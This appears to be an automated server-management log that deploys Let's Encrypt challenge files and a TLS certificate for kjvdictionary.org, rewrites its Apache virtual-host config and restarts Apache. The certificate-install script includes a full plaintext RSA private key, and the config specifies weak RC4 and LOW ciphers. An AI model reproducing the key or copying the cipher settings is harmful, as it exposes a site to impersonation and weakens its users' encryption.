MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-24 06:00:04: Establishing a connection
2026-01-24 06:00:04: Establishing a connection
2026-01-24 06:00:04: 

PUT: /tmp/pkp119183

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-24 06:00:05: 

chmod 755 /tmp/pkp119183; /tmp/pkp119183; rm /tmp/pkp119183

2026-01-24 06:00:05: 


1


2026-01-24 06:00:07: Establishing a connection
2026-01-24 06:00:07: 

PUT: /tmp/pkp213079

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > VwTmPEDdp7Jvg7-DZHRgU5FY5YQUm_2xT_QoHXCKXbs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VwTmPEDdp7Jvg7-DZHRgU5FY5YQUm_2xT_QoHXCKXbs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VwTmPEDdp7Jvg7-DZHRgU5FY5YQUm_2xT_QoHXCKXbs


2026-01-24 06:00:07: 

chmod 755 /tmp/pkp213079; /tmp/pkp213079; rm /tmp/pkp213079

2026-01-24 06:00:07: 




2026-01-24 06:00:08: Establishing a remote connection
2026-01-25 06:00:02: Establishing a connection
2026-01-25 06:00:02: Establishing a connection
2026-01-25 06:00:02: 

PUT: /tmp/pkp917180

#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-25 06:00:04: 

chmod 755 /tmp/pkp917180; /tmp/pkp917180; rm /tmp/pkp917180

2026-01-25 06:00:04: 


1


2026-01-25 06:00:05: Establishing a connection
2026-01-25 06:00:05: 

PUT: /tmp/pkp245476

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cat > 8wh0kVHPRuwjpjeL6S3nuVNFvAd3Ziu82Wj838l1H9Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8wh0kVHPRuwjpjeL6S3nuVNFvAd3Ziu82Wj838l1H9Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8wh0kVHPRuwjpjeL6S3nuVNFvAd3Ziu82Wj838l1H9Q
cat > LxJ_ZgaERWZWrdzz8w0KRKiC1qcBR2QlK5JySHeLaKY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LxJ_ZgaERWZWrdzz8w0KRKiC1qcBR2QlK5JySHeLaKY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LxJ_ZgaERWZWrdzz8w0KRKiC1qcBR2QlK5JySHeLaKY


2026-01-25 06:00:05: 

chmod 755 /tmp/pkp245476; /tmp/pkp245476; rm /tmp/pkp245476

2026-01-25 06:00:05: 




2026-01-25 06:00:16: Establishing a connection
2026-01-25 06:00:16: 

PUT: /tmp/pkp877334

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
rm 8wh0kVHPRuwjpjeL6S3nuVNFvAd3Ziu82Wj838l1H9Q
rm LxJ_ZgaERWZWrdzz8w0KRKiC1qcBR2QlK5JySHeLaKY


2026-01-25 06:00:16: 

chmod 755 /tmp/pkp877334; /tmp/pkp877334; rm /tmp/pkp877334

2026-01-25 06:00:16: 




2026-01-25 06:00:16: Establishing a connection
2026-01-25 06:00:17: 

PUT: /tmp/pkp461986

#!/bin/bash
temp_file=$(mktemp)
TARGET=00f32caf8ea0fbe0d1b245ad2ff4822f.crt

cat > $temp_file <<'endmsg'
47:09:ea:dd:18:e4:1c:c1:0f:a2:77:97:9f:f6:9b:7a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBZh0kLyoyG/ZlSvxmTQM8aCeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTI1MDUwMTQ2WhcNMjYwNDI1MDUwMTQ1WjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALK8E/+OeRLRyE5i9nUKH+PhEinJMeiBZVhwM3n4+YZUU+wcju9hAoe/qg/i
+DQfVnZNgHeOLrTrAjoad77es0htgG5y0uPiytuL9ltpsTRaAqglVYnY+ebeolOF
tEB79Ieck43/8m6yBdAXJrCQkNjQ7jR81ZzPTfdEldVBWKqZeltTMz1aVoun26T0
5+s4rHfQdLWcYodxbXXzWGiObSLclT8iMZOwgaRkAHkumpixxt5I8bQOmgyCNGRr
iym/zATU4KKArSnZq7HZaZo0kBtvZfmCM7i7AIwuyrPLPpME42Zyenaj945W7FB7
WLNPgurgJSOCR0IdZY3aEsgFHqMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU4mNp0Pf0pXqA48wbInHB4ailqb4wHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzEuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFV
Uvvp6ynd+MMAAAGb870eUQAABAMARzBFAiEA2hobaqPDPzi1ghl9bqoUGkcH9/7w
hGAlx9b5cZ1gw5oCIHeutE5presfkCsWKrJZOa7fTlNWBnYSWU5Phnrx+z8YAHYA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGb870eXgAABAMARzBF
AiA1RgJ71Lu6V/B0ZKQYALdUHMmHRqyQhUshTXAzFk+7xwIhAJyYOTSjpwq3858s
9Zr9K0Wmb2Z+o1F+5IMe0IDRPjErMA0GCSqGSIb3DQEBCwUAA4IBAQBMriY9rQ+m
Gg8DaVRD3G6ISNl66PQC/GYF5MctgPIxz2DhoteBR1jS0RfV7c6sj/b2TFjtnZO+
Le27GkiyAoHRJRudEe42X9yDZBYO3068j1wbx0nu1iByhrZiwhZgDo565zwCzZR0
DkHQX+c2sy3eNXvCdNEUv8jMqkJN9z5Ic4+7kLBLmSPD5pAzByE5gMUDCzlx535b
UjKdbi224A9oSeuENON11HrSa1NK4NUqI+CPEt9g+5cm21+tn+JSjWE0eONtT+19
RkPmjh2KQoYkF6QS/vVHQZcUZw5kCcCMJP1AMGdD4jkqDdK28XxtG6cSQ8MuZJCC
xcmKODFidK8a
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyvBP/jnkS0chO
YvZ1Ch/j4RIpyTHogWVYcDN5+PmGVFPsHI7vYQKHv6oP4vg0H1Z2TYB3ji606wI6
Gne+3rNIbYBuctLj4srbi/ZbabE0WgKoJVWJ2Pnm3qJThbRAe/SHnJON//JusgXQ
FyawkJDY0O40fNWcz033RJXVQViqmXpbUzM9WlaLp9uk9OfrOKx30HS1nGKHcW11
81hojm0i3JU/IjGTsIGkZAB5LpqYscbeSPG0DpoMgjRka4spv8wE1OCigK0p2aux
2WmaNJAbb2X5gjO4uwCMLsqzyz6TBONmcnp2o/eOVuxQe1izT4Lq4CUjgkdCHWWN
2hLIBR6jAgMBAAECggEAE2q/7W0SlXXO10fZqGtaKDfE8QnXbyp80mJrZTPOv8Yc
0TNlCne1KP7XFcoS1sQUxjNd4nRteeAR/4ftPFdrOKdqDWr8osnPlJGcSOAEN+to
tdBLKPeLu9tch8r9rbJe+qCK8yE8EBnXlydSClpvh0O4rQu8FRX8TVbZGYVzgXeN
35sa4VA+g/I1g+28+qgoFuW6OsQSkMx+XCnl36+9DMzI+lfnrCrr3MWudpWDax0t
h3WeK6/FYWktvzx6wfE46n6ZsTyPMP+L4bDkwBTrtKLp+NmY3Rd0U396BtcgZETO
dWRs2EeoLLFrOi9tJWE0gdehGl8gl5xiU4l2pVYN+QKBgQD6xbTnxkpniCCoLWsw
1GhzXdOh2QQxUSWuwh3S1nISS+1yt2in538AjWnPkY2yWl8Gt/pJ5uaSrIAdqde2
nBWBcaPktzXRfZn0+PfT8KAIXEhCkXi+MF5RWUEUyNUKQJkFavdkEBPp3XCT3/rn
dETByUc9myya4jkmO0oUZkHBxwKBgQC2de3isjHSsm5+gPMSXnt1SokohFJjZnze
PKPjXGGhBQ+BAgSRIxS5zfcvqSYH7Dl8X0sb6zG/J8aTH8ytmNk1PSPpvittsnRx
UTCmTJ6wj8BpeHkB2NiELzVIGDOoeNP4wECTzeuYUM1Si3hBnE0ZQm7QIv0BXJu/
s/Dd1hT8RQKBgQDVrc9nSyQtMeY5x3G1ytgxrXpeR4/2AeItFgTZmZbblkz+2d9Y
ar5iFx1ZG/p0ReMA05V2kURZKJmGLSm81STSBqYThjVaiz67acWqlzeVyCRebJxI
2ugTQw1ci4BUWxTIdAvW/IgrV1/M8SZXQFAyG7MTgHyygR8XP5/w3+0aEwKBgBZH
8mPDhOgI2AtkrcopdYQONQ+YkQMIaektmInUJyvllU4Ys/wRP5+s8imEy1seUqrI
bECdiPah4dLniDQOvT+OFsudaGo955BK7Njx9FL1SvbWOliqZU5HAYerROumzaPL
vlcOR13TSC9zTp0cfCHAhg2uqBy5dV+Elr5QPUHNAoGBAOArYzKC8BILQPgBpCWP
8FnbilDi3HrS7sa1nl5Zl5P2xsfeIICgiGEJ5tQalUmq7DjE266jYsBgZ21hmr/7
bJ6dajXz3/0NFVHuWI38yGuTHe27f75YXL0zRluMxZhg41M7A21xbhjblvBHZrAO
8rNuq/klBO0vGzDP4WOUvBEC
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-25 06:00:17: 

chmod 755 /tmp/pkp461986; /tmp/pkp461986; rm /tmp/pkp461986

2026-01-25 06:00:17: 


dir=/etc/ssl/certs


2026-01-25 06:00:17: 

PUT: /tmp/pkp768647

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-25 06:00:17: 

chmod 755 /tmp/pkp768647; /tmp/pkp768647; rm /tmp/pkp768647

2026-01-25 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 45

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-25 06:00:17: 

PUT: /tmp/pkp395957

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_www_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf= 1'
fi


2026-01-25 06:00:17: 

chmod 755 /tmp/pkp395957; /tmp/pkp395957; rm /tmp/pkp395957

2026-01-25 06:00:17: 




2026-01-25 06:00:17: 

PUT: /tmp/pkp302411

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-25 06:00:17: 

chmod 755 /tmp/pkp302411; /tmp/pkp302411; rm /tmp/pkp302411

2026-01-25 06:00:17: 


